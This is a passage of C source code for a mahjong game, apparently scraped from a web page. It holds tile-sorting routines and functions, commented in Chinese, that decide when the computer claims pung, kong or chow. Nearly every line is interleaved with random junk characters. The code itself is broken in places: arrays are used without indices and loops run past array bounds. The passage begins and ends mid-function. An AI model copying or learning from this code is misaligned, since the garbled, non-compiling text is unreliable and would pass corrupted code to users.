: k! R# _. [* m' T/ i; Scomputer.pp[n].number=computer.pp[j+1].number;) Z5 a( X! ^& H0 ~+ b' W
computer.pp[j+1].number=u;7 T/ |. v& r5 \  t  c# A8 m/ N% z
}3 u/ I; c* K% ?( i+ H% E- _; V* ^
}  n7 |: i  t' m" ?3 i( s8 h3 `
}5 _  [3 f9 k6 C' |% N! X5 q
void melipai()( b) w4 e7 f* C3 m  B2 F9 t1 _( V
{ int n,j,u;
- w7 k9 @2 W$ ]  Kint *lingshi;
. I7 V( ~- {) S/ g7 Dfor(n=0;n&lt;me.m;n++)$ c) g+ n3 U1 a0 r4 n- H
for(j=n;j&lt;me.m;j++); B7 y+ ]  W! H$ m6 |) h% t
{* ]4 \- R( x6 K6 e9 X
if(me.pp[n].number&gt;me.pp[j+1].number)1 k& B+ Y& N% `  M" @2 D5 [
{: r$ X1 b1 q( q% n
lingshi=me.pp[n].k;
$ B) l! z( L8 l6 e  pme.pp[n].k=me.pp[j+1].k;/ ~$ u7 T" A7 C; D" m9 [% ~( i
me.pp[j+1].k=lingshi;- j; E+ ~  B5 A% f: J( W
u=me.pp[n].oneorfour;
! g. y! q1 {9 E9 g" N4 `  wme.pp[n].oneorfour=me.pp[j+1].oneorfour;: ?. J6 b; V4 p/ k* V
me.pp[j+1].oneorfour=u;  L1 W' d6 y; Y- R  }6 q
u=me.pp[n].number;
: M4 A9 m) a' j; S! Sme.pp[n].number=me.pp[j+1].number;
% K& f  Q5 N# |# B5 o3 C" Z  }me.pp[j+1].number=u;
6 K6 x0 I! i2 b5 L3 f" ?. o- K}2 j- }% c; _( \3 `& P6 f
else% t! i: D. p, Q0 c& g
if(me.pp[n].number==me.pp[j+1].number)- R) t4 H1 U& m* O1 z, t8 J
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
1 K( v9 F6 ?3 x$ X7 {* C9 N{* j  k% c3 |9 \& G: p( R. O
lingshi=me.pp[n].k;) H8 b: I5 d. K2 F: [  F
me.pp[n].k=me.pp[j+1].k;
$ R# [* j. _  W$ Mme.pp[j+1].k=lingshi;
0 y& C! E2 o; h# iu=me.pp[n].oneorfour;/ J) H& W* e" P3 V7 s! ?
me.pp[n].oneorfour=me.pp[j+1].oneorfour;! @/ z# `4 ]0 J: t- F
me.pp[j+1].oneorfour=u;" x# i% w" V; A' x; n) f
u=me.pp[n].number;  c0 g' |" T# v) E7 e: U6 K
me.pp[n].number=me.pp[j+1].number;" M, l7 Z/ h( |9 b- F: k/ p; d
me.pp[j+1].number=u;
! M1 z+ d, c/ s5 Y  G; ]3 R4 j1 n7 }}. j' x0 m+ C% T/ Q: i
}
6 Z6 k0 [9 M! \) t' V- H! y. D}0 L6 W; `; q! b$ P$ ?
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/: v2 p; |1 k& C5 k3 ?  y% y
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;. ?- F( |' Q* I1 R: A9 v( J9 N2 e
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)4 d9 ~0 B. |8 l4 |4 j( L( v& z
{" }) c2 r9 P) }' {; \3 E. W
logo=1;
0 c7 V& |- R$ D/ i  C6 ]. lif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)! D, F4 A1 }  @  t* |1 u7 S
logoo=1;
  r* G$ i2 d2 [6 kelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4), j7 N6 i6 d5 Q9 c
logoo=2;
- ^! P( N$ R5 I0 v3 u& qelse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)' ~  G3 Z0 [; H/ X: Y: x, i
logoo=3;0 X, `: i! W3 K8 \) I
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)$ N4 h  y/ G& I
logoo=4;. _7 d- C' W4 ]7 ^% n2 F6 K9 x
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)% q5 P% G/ P! c" G4 X  @' e
logoo=5;/ L5 e- y/ J0 {! k+ q" ?
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
) }5 d' u( K0 Slogoo=6;
# v/ x6 {- ~$ [" P2 selse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
& [% V, {' g1 d" S1 q5 h* ^logoo=7;
9 r0 H% V5 m' @* F" Ielse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
; h) o0 [  j. U0 K, ~7 r3 L& blogoo=8;0 L5 [! a# ^$ p) B2 C2 B
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)9 d& b5 U( p9 n/ n  l1 {0 J( R& I
logoo=9;
& T# Q( _! o! P+ N}8 C$ D! N# C, E0 j: c- g: _3 p2 \) g
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)5 l0 d8 V" y  f5 i; x# }5 m7 q4 S
{
: Y: e" ~  l6 Plogo=2;4 b# C6 V( d. I" o# [7 I' v
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)0 p7 V: f- x! d6 \) c2 w
logoo=1;
* N$ X% q9 E; `) nelse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)6 v( P& x; S' k% Z7 c  `6 j
logoo=2;$ A" R$ {7 z0 I& [
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
; U& q3 R( M) {) g6 c% Hlogoo=3;
# r3 D9 ?8 n' ~) \6 welse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)( X$ t* G5 @- [9 a) [
logoo=4;
$ W- L9 \8 ]% y) L; lelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
. R/ ?; U8 {4 P4 Slogoo=5;5 A6 }; f8 y# J) n' h2 }1 n7 J
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
  ~/ k* m( t3 S2 T9 flogoo=6;
: H# \: u  Y: l. Felse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)9 ^: \7 j2 y5 P) H! t8 ^6 M' r; W
logoo=7;
: m9 S& q# U8 X- }5 m+ A9 welse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
# R  @8 g. V% A8 @logoo=8;
8 }4 k" I% Q3 m' u6 @) S* P* X+ eelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)" |3 M+ r# U6 w, R9 E3 A
logoo=9;
1 |+ ^% N# {0 w8 u, ~) w9 g; R}
2 V, g' |+ W- p' Pelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
1 N+ K: v; K7 d/ {, a6 b; ?{
& j$ T/ P& d. \" I4 k: l' Qlogo=3;
, y0 S/ `8 @4 Tif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)* r' U/ J+ M$ I2 O5 @; s1 O
logoo=1;1 c3 i. Z# H# j, E9 a2 ?
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)0 A- T7 l  S) _  l( E
logoo=2;9 f( V% h0 ^1 k0 z
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
" Z% P& o8 B; ^logoo=3;% t) W% f0 B6 g# d. u# {3 L# n
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
$ I# Z" o( C6 n6 T7 P) Vlogoo=4;+ X: I: Q$ B6 w% ~, F) A
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
  w6 J* _6 a2 i/ vlogoo=5;; O4 g$ g" Q7 l6 Z3 w2 [
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
8 \# E0 _/ l7 a% _logoo=6;
% J5 r; V( R* y# W- y0 Velse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
, \4 u" `2 I& `0 ]+ s6 U7 r/ s; Ologoo=7;  y! O9 V2 f5 i( v8 w' q/ J% l. z
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)' g( o7 }* E  s" ~9 H
logoo=8;
3 K$ U( v# f  r, ]else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
& \2 ^1 n/ c$ j. x5 ^logoo=9;
% [6 R9 n/ w2 H1 S/ i7 D) z}
3 o" ~! A3 e3 J9 {( Pelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)- f- U3 J: K4 ~
{
2 U0 q) C  h! v3 {* U, D; tlogo=4;
8 f6 X% r. m& s, P# [9 \if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)+ u& H  ?6 b2 s+ |
logoo=1;0 E- M, [! P; |, P
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112): T0 f6 y* y2 y4 P4 I3 B* p: e/ t1 e
logoo=2;7 K7 D* {. F% [7 n# t
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116), Q/ c& I- j6 v1 G/ @5 H3 @
logoo=3;
6 T+ v- e# Y) B' x- C9 Velse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
" U* m8 p9 X5 |8 U) Mlogoo=4;6 p% E- S6 D$ J7 N- a* g: B
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)/ i, R3 I# A: F) n0 R
logoo=5;6 e, z* r/ E& o! T1 n. C* I
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
* i  S9 z6 d7 C: h# e$ hlogoo=6;* v: f& J% J9 t; s" F
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
+ ]# r4 P# t3 W" i: [- Alogoo=7;$ `* P# m, ^! v; n+ Y2 \2 J
}
/ f6 t. j" S; k& R. ewhile(b&lt;=computer.m)
  l# ?8 m( i( n% b+ X- ?; o  L{
5 k* O8 U# V3 F8 rif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/. A# K) n8 m+ N& Z
{3 V1 U9 m4 i' T& U1 B# M
lg=1;
# j* o. F$ y; }! Qcomputer.pp.d[0]=1;
% m1 Z2 _4 w. kif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)9 z) ?1 y7 T, W# Y$ v8 p% O
{$ d3 q: o+ }8 `' ^
lgg=1;
2 V) D1 b* q# X6 Y3 Ecomputer.pp.d[1]=1;
4 ?* L. d: j- I( Z8 K}* d# v# L' g% ?; N( h
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)& a" `4 F) T2 l  _& F* A
{  r. S5 ?+ \( R
lgg=2;; `6 H& A' ^4 s/ R7 ~5 C
computer.pp.d[1]=2;
$ m0 N$ W* o# Z}
0 V+ b& D; a3 N( U: T9 O7 Welse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)5 X5 e4 i! _, H1 E5 {
{) N$ l; H* n1 u* `, E
lgg=3;% }/ X& Z3 u3 i. _3 c2 Y% A
computer.pp.d[1]=3;
! E# a4 H/ `# {+ r/ F}; I% c8 b6 K; g/ U
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12); A( K2 R/ F2 r# }; ?9 s
{
1 h# p; q% q) Nlgg=4;" V. t( Y' a# p5 X- Q
computer.pp.d[1]=4;
" t% z6 \- i; j& X, s3 ^9 }}
7 y6 H+ G% `/ B# A0 [: I- belse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)9 v, G# b, ?) G- O7 A6 J- c. r( ]
{% V! p# P9 G/ a  Y9 ^9 a
lgg=5;. d1 R; W0 I8 m6 {% \  B' Z  i& h; z
computer.pp.d[1]=5;
4 v/ m# Q! ^# L$ ]}) `$ w) y, E( Y; U7 c4 {8 s0 B8 L! U
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)# t" ]) U1 ?7 Q4 H5 l7 T) k. K# m
{
$ {( F$ }3 K( ]) e( o+ v- mlgg=6;9 o+ ?0 [7 j7 `9 R# ^3 ]
computer.pp.d[1]=6;
# o  T* h1 {5 D9 G, J) s}
8 D& v2 F7 o0 v5 Zelse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)% f/ o* _- C* T
{1 ~6 Z6 p7 s" z6 ~
lgg=7;
" b1 T9 V: _" L4 X: M6 A( A7 vcomputer.pp.d[1]=7;6 W% Q& U) q( L8 C
}
" g; O# ~' U* ]else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)- H& x: v' I+ W5 B
{
! O. s2 E2 e( ?/ i5 V0 mlgg=8;
( I) ^5 h/ T: d( p/ Pcomputer.pp.d[1]=8;! F3 V' l# ~7 j4 ~2 A5 z( D5 p6 @
}/ w  g, f' e5 `% z
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
0 U1 |4 k$ |5 [) j5 V4 \- Q{
/ E- X& K5 g0 |, ~- y: Zlgg=9;; l) l. v( \* z0 d
computer.pp.d[1]=9;
2 l0 E% U8 F$ Y% ?" r}
1 B4 |6 n2 G, l' _) U3 {% S}; m2 c3 P1 |' w8 Z5 |
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)* v- x, m8 E7 \! _
{
# c/ ^: F7 A( a# ^9 glg=2;. M4 }0 V! G; ^' |* Y* \
computer.pp.d[0]=2;7 Q% y3 E8 @8 t5 [1 \5 R0 x8 \
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
6 m/ _9 l$ {* W* N7 O1 {* b{
. Q% T2 y1 k3 a$ ^  m6 C- i0 Blgg=1;( \" n; L. I! o$ P$ t
computer.pp.d[1]=1;& `- ?+ I# ]4 O& Y
}
" E7 `. C( x6 a2 m( Velse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)/ J3 M% p: s" ?5 o/ @  T* d
{+ q$ h7 j; b) P, ~% U
lgg=2;+ c# h" w% b3 ^! q
computer.pp.d[1]=2;9 {* m! k  l5 M% z- `6 l
}
1 u) n" B, H! h' Telse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)( F! A2 C( {; K5 x/ a" L; q9 @
{; P' z8 C  O+ W
lgg=3;
) M0 H8 e- }1 u, [/ S+ i! ycomputer.pp.d[1]=3;% W. i. ]2 Q' q# H
}9 c  U0 P5 N( ^* s, o
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
4 c! z% R( d" Y2 g8 Z5 s2 |{
1 ]0 k+ N. N$ _0 l' l  ?3 M2 Mlgg=4;
* R: P/ j, p9 s0 H& ~! y. _computer.pp.d[1]=4;2 W! D. f% h# M% w# D
}
  r! G8 G2 u6 x4 a9 N, q4 K+ _else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
% Y- o2 G/ H$ c{
5 T+ J  H7 E- x7 k4 w# Z; elgg=5;
1 C( G1 n8 [3 F( D0 O  H+ pcomputer.pp.d[1]=5;8 A3 j+ }6 P' s
}# L6 I- ^& e7 q
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
. I. X" v, b# ]2 i{3 y; r/ @+ J0 X6 g" j
lgg=6;" s$ D! E* w  L+ s* {5 i
computer.pp.d[1]=6;5 ?5 X( J1 J* ?% Z& }! ?# Q
}' ?' ^% G, M: D% E4 c
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)# a# ?4 @! M3 _7 C' T' }
{* V- ]8 A6 M: [
lgg=7;
; n% X% s0 F% \! S3 C; t3 b+ f) e' `computer.pp.d[1]=7;
: `2 ~* ?+ B) d( r  `! A2 Y6 {}
. u3 T+ c# I9 w! \  x# g  eelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)" \) N* O9 w. L. T& `( }
{( r8 S( e, Y* l0 z+ V( p
lgg=8;9 h1 `4 G& s! e: F5 G5 m
computer.pp.d[1]=8;
9 ?# a6 a6 C1 W0 c! P# ?% T}
* @( w* ?& c7 q" o# Selse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)( @9 \. c: a; `7 R5 p8 k% F7 @2 L
{
' E% ^) f( ^+ [+ }lgg=9;8 y5 k/ u+ [+ H- K$ [( f
computer.pp.d[1]=9;
& X: h( _* ]; c( \# k8 r. O% H}7 S. ?% |$ [/ w7 `# G
}
& p- t5 }% V7 {7 a$ {$ i4 k! felse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
( g( S& a3 l: N3 k% U. [{
+ ]8 I; a" G" T4 Jlg=3;
# K+ D6 L% K: x9 ]3 M; icomputer.pp.d[0]=3;& o2 f. n- s" e0 ^
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
, u) m* S% u! P3 y6 A: F% b) k{
' ]+ p! Y# {& j. L. d) ], }3 j4 b0 qlgg=1;
+ f! P- k) @% R& fcomputer.pp.d[1]=1;8 p  N+ z1 ^; K$ o0 [* s$ Z
}0 P" ]/ G* o8 W8 x# F5 ?: D! P
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)) p: o: ~0 ?3 O' b+ ~
{+ g/ Y6 U  ^4 @- N, Y0 [
lgg=2;
7 {, H: M' M1 w7 N# Wcomputer.pp.d[1]=2;
, Y0 {6 v. _( }, l}9 x- M0 s( g( n3 }9 q' V4 g
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)) w1 N$ ]! h1 o6 X& P$ s! r
{( ?1 U! V: a, m6 c8 |
lgg=3;$ [3 Q) J% H+ p  X! b( v
computer.pp.d[1]=3;
* I- g1 N; z* G: g6 N. ~0 {9 {}+ {0 E0 L) _% D1 w) y' S
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)4 Y6 h2 c, W9 q- C7 T
{
7 p. L; B+ @1 b/ a; K& n. j. A2 b8 ^lgg=4;
; q. M  A7 R; }5 Kcomputer.pp.d[1]=4;: c( y" b2 L" J: k
}9 q. Z6 f$ E7 |3 l3 k' L3 {5 o
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)+ E  W6 y( z9 w! D
{
7 c, B) I/ Y$ _, Jlgg=5;( Y+ h, H1 H) b- Q5 s* j; t2 |
computer.pp.d[1]=5;* `& O( a% c% X6 W; o
}
- I' \8 o& N8 }2 Relse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92), B8 H2 {. i: S. n, K, E( t
{
) m/ _& a# W3 p1 B' Vlgg=6;' j, Z2 O# A3 [; c7 N
computer.pp.d[1]=6;
6 h" c7 l' {; o}' E. x, V  `5 C# L* G9 h! x
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
. }/ s: q/ J5 x4 A- E{
* w4 Z) t2 U. z" mlgg=7;: }) W3 f  n' Q# Y2 b
computer.pp.d[1]=7;* x# {& G2 m4 n3 O
}
% R- I3 v2 Q$ X5 z2 helse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
% H5 U* `- x# _, l" ^! W  w# ^{
, M3 p) z, q: j9 j( G( `) r2 C' Qlgg=8;% t( Q1 ?# c' J# w$ I
computer.pp.d[1]=8;# `! P' a- R" w5 x4 z) `% f
}3 |- K. _! i% U+ {, K, s
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
6 H9 u  }' r8 f1 \- N{: i/ \9 I1 Z9 F4 s; v6 s+ y' e
lgg=9;
* @5 M' O% a4 d" I. ^, @: `( Bcomputer.pp.d[1]=9;5 R, g6 O" X2 g# j
}
4 O: O( N4 n/ U7 q) U% ]+ F}
. z* X- |4 z, E7 e& V; }else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
9 l% o' W) C6 ]' j" e{6 s( }4 @/ B' ~/ {: s
lg=4;3 v  M% x& ]9 m
computer.pp.d[0]=4;
  ?& W# ]! a8 t& g6 Qif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)8 y: Q+ K. P- |% ~7 z$ s5 v' F
{
, ^0 A: g; K! W: `0 U* e3 jlgg=1;
3 |  @3 g6 U# i4 p; |( rcomputer.pp.d[1]=1;5 @3 u; D$ E: v+ N/ G
}
8 P: K% _. |( G4 `else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)3 u4 v  c+ B; |0 n3 a
{
3 U. r) T' ]$ ~3 @lgg=2;
9 e: ^, D5 q( V% s2 bcomputer.pp.d[1]=2;! j% b" N7 H0 s( ]( k" }
}
4 [* }( s, r8 i, f+ a; e) O( Eelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)9 K" ?" \% M' h5 V
{
( q, _' ?9 ?% D* @7 e$ `lgg=3;2 b; i3 Z* i3 b. O7 N$ Z- _
computer.pp.d[1]=3;' [0 b: r4 Q$ ^* @, |$ u
}4 [4 k5 T' X* p$ |+ s7 `' X3 {3 c
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)( j, w$ v( X7 e6 i2 G
{
) C& w/ D2 ?1 x* Slgg=4;
  D! U& J8 N7 Q8 c2 Qcomputer.pp.d[1]=4;! |, C! l, r4 P
}
  w+ J* q* ~) J. H: f" @+ `else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
3 r0 K+ Q' E" [4 A2 q5 v4 `{
/ L/ @/ Y* E2 J0 wlgg=5;: a4 I: g8 Z; W3 r8 Y
computer.pp.d[1]=5;1 `# |& s, w. [. G% h+ F1 M
}
( A! c" U% F4 Aelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)  _. B% ]* M. {, m4 L, b5 {
{
1 B3 ~$ L; O3 ?8 O; klgg=6;9 n. K; a8 E4 O. D8 U, ]1 C
computer.pp.d[1]=6;* t# @; `+ u0 C# }) `, W
}' r5 g; O6 N) U0 [
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
5 ]3 }- h  v5 N{
$ ^5 F. Y, @3 I) q. ^2 ~5 blgg=7;: }, h: E. S" a4 l) P# v% ?
computer.pp.d[1]=7;3 t- Z0 w8 Q* B
}
! j. a# |6 E0 p}
- G! z3 Y; q1 f( c3 y
5 q( p/ J! A' p5 e6 bif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/$ l, Y9 u$ X( w3 r' t$ Y6 l+ X
if(logoo==lgg)
7 ?0 R( R# W0 H$ @9 P4 O  @) `8 X- Kpg++;' j) e# m, v& ?; n. v
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
2 X- m# E8 R' ?/ J( G$ Ach.lgg=lgg;% n% I* K, F% O8 {) t, E7 R( r
lg=0;& Y# T. T, [3 H9 v
lgg=0;
$ l! g7 h! s6 L8 _$ l% Ob++;
6 e9 D! W* X( c}1 m- @7 f  @6 I* r
if(pg==2) /*乓*/, b/ R3 L$ a2 C6 n% P$ N
{
+ M0 l  a) I- Z7 {6 L. C& u6 B4 S+ m  P* Z) z7 w* u
sing=1;
5 l7 Y- g; f2 o/ n+ P8 M$ }b=computer.m;
* J) ]! q' @1 g- Jwhile(b!=-1)
, ~" h& L# W4 d; V3 l5 Q{
- T& h* J" V3 ?/ a* ^* W# Bif(strcmp(me.pp[c].k,computer.pp.k)==0)+ r! l3 ]% K; |9 _
computer.pp.p=1;% p2 l2 }9 _& V8 R
* \. ~1 e+ C& V3 V
b--;
5 S) x& h9 K0 O! O% v2 _9 z}
9 E3 K% K+ X' _% ]' C& l0 d}
( c5 _8 T/ x6 u4 m# gif(pg==3) /*杠*/
& {. v0 Z$ R4 V' Q{* s$ k( }8 c# p

, h4 f4 @" z/ O' E" b; dsing=2;- @+ U+ ~: l0 E5 ?5 u" A
b=computer.m;
1 o$ t7 h" [3 F3 m( F6 h) I: vwhile(b!=-1)4 i1 l1 o' w8 w' Q
{) d" Y/ v, N6 }* X, r
if(strcmp(me.pp[c].k,computer.pp.k)==0)8 M  R- A; C  C; h8 u
computer.pp.g=1;
9 C, {/ g1 \+ gb--;, G: E% X1 o5 h- m1 H# X
}' ^- b2 ^6 h% }5 q# `$ ?
}
3 f/ t! s& s) E  \f=0;
5 ~* ]+ q" ]0 E8 s' K: mwhile(f&lt;computer.m) /*吃的判断*/  F/ A% R/ l- m
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)5 M9 Q; n4 ^5 i2 X( K) s
{
! y! J: H/ L# qif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/6 Z/ v; e# ?, O% V" i0 v( O
if(ch[f].lgg-logoo==1)
" b' r* @* J5 ]  M6 H1 L{
4 a" a2 ]' m/ \: Qgp++;: T( o- w$ j. C6 Y. w# d
computer.pp[f].c=1;
- L1 ]# n4 q5 s8 A: b9 D4 zcomputer.pp[f+1].c=1;! c9 v3 s9 g  v5 H3 A5 _( n
}
, Y9 L9 U5 q2 U) ]6 V/ K: u9 ]if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
+ e. s/ E# q  X7 M  @2 m4 Fif(ch[f+1].lgg-logoo==-1)1 ]1 }& T* c& ^, T3 {7 {6 X
{
! K3 ^0 u6 S% a% J; U  Rgp++;, H. V9 o, H! `) K3 O( u5 f
computer.pp[f].c=1;
, v3 X( l4 F# O& v! O* K4 _computer.pp[f+1].c=1;- X( L3 S' F) I. J3 V- S
}
$ B. v" w& H+ M" Q& s  ~if(ch[f].lgg-logoo==-1) /*中吃*/
9 v3 u% M4 {( D! s' ?, Jif(ch[f+1].lgg-logoo==1)7 {6 E. Q# ?9 a* I9 b0 f
{
' f; k% T0 ~0 R: b. \* V: Hgp++;
" O8 ]& V! p5 J8 C2 y0 Ecomputer.pp[f].c=1;: _7 c8 y4 ^# G
computer.pp[f+1].c=1;2 d2 H) _0 q6 s
}/ O  w/ e3 `) A8 Z
if(gp==1)
! x) v) \* N5 J0 gbreak;: n! ^9 L$ Y& g. w( B
}
  V. z: I4 Z+ A( W7 X! a& x/ \f++;% I# [+ Y/ }' s7 Q: ]% ?8 [) v/ \- w
}
/ d) e; U$ y1 H6 V% |; I8 iif(gp==1)' ~0 |5 M5 T! F3 [) R% O; }! T7 r4 s
{sing=7;. ]8 x! a  ?  H( u
7 |, ^9 W& D  K5 M
}) |3 Y4 n. `% O  T) p8 O5 E0 T5 `
pg=0;
4 J: Y6 f% v! [  N) A) ogp=0;
5 e$ u/ k& k0 f& @$ \4 k( [  ab=0;, J8 @& m3 B( F- v
}) J) `, D  F) j8 h( O* D
void rgznme(int c) /*本程序涵数的核心针对我的牌*/5 d* g9 J% G+ r; V" s+ a, w: p
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;7 A. e: o/ h0 P6 F+ n
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)6 O$ S' c4 g. s. X
{
9 `. A4 ?% k5 ~) _- O; I' u7 Ylogo=1;
$ z( A; o; Q- d3 C. Uif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)3 M- M; K& T6 q  Y# d
logoo=1;% U' @* n- w2 f& x* w, ~" L% {
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
- B& q6 w6 ^  E2 w, Nlogoo=2;# q  j+ `- R4 V7 C% D$ H
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)( @: z4 }5 P# w. y
logoo=3;
, I& ?. T+ o9 ^$ I' g1 u$ h& _else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
9 O/ [4 K! L2 |  K+ K$ Jlogoo=4;, ]. {8 [1 l4 b
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
# `8 s! w) R! \  Y3 w6 F+ N/ tlogoo=5;; X7 @; x6 b% d4 V0 ^
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)3 P4 L) A) l; N2 `
logoo=6;
) O# h( s' a; }1 |$ Pelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
. Y6 s& X4 m4 m+ h5 clogoo=7;% Z# O; D, O* d0 J/ a+ g! `: g3 [
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)$ E; s9 w' C( i$ @* p+ E+ G5 v: j6 L
logoo=8;! _& d0 @! |% u& N' F
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
  z1 g% S+ V5 H2 S  b  [6 j2 Mlogoo=9;
4 q, s& N. m+ F+ ^: w}. b' C2 a- I6 a6 _: R) O
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
5 n. X5 e% k1 `6 d, m{) }, e4 R! t4 V3 ]+ B
logo=2;6 q0 n3 u$ g3 B( ]
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
+ a2 o" k. W+ [logoo=1;" y; i& F! s+ v! [# s
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)# e1 \% ~4 w# H$ H
logoo=2;# _7 [# \5 b6 K" L
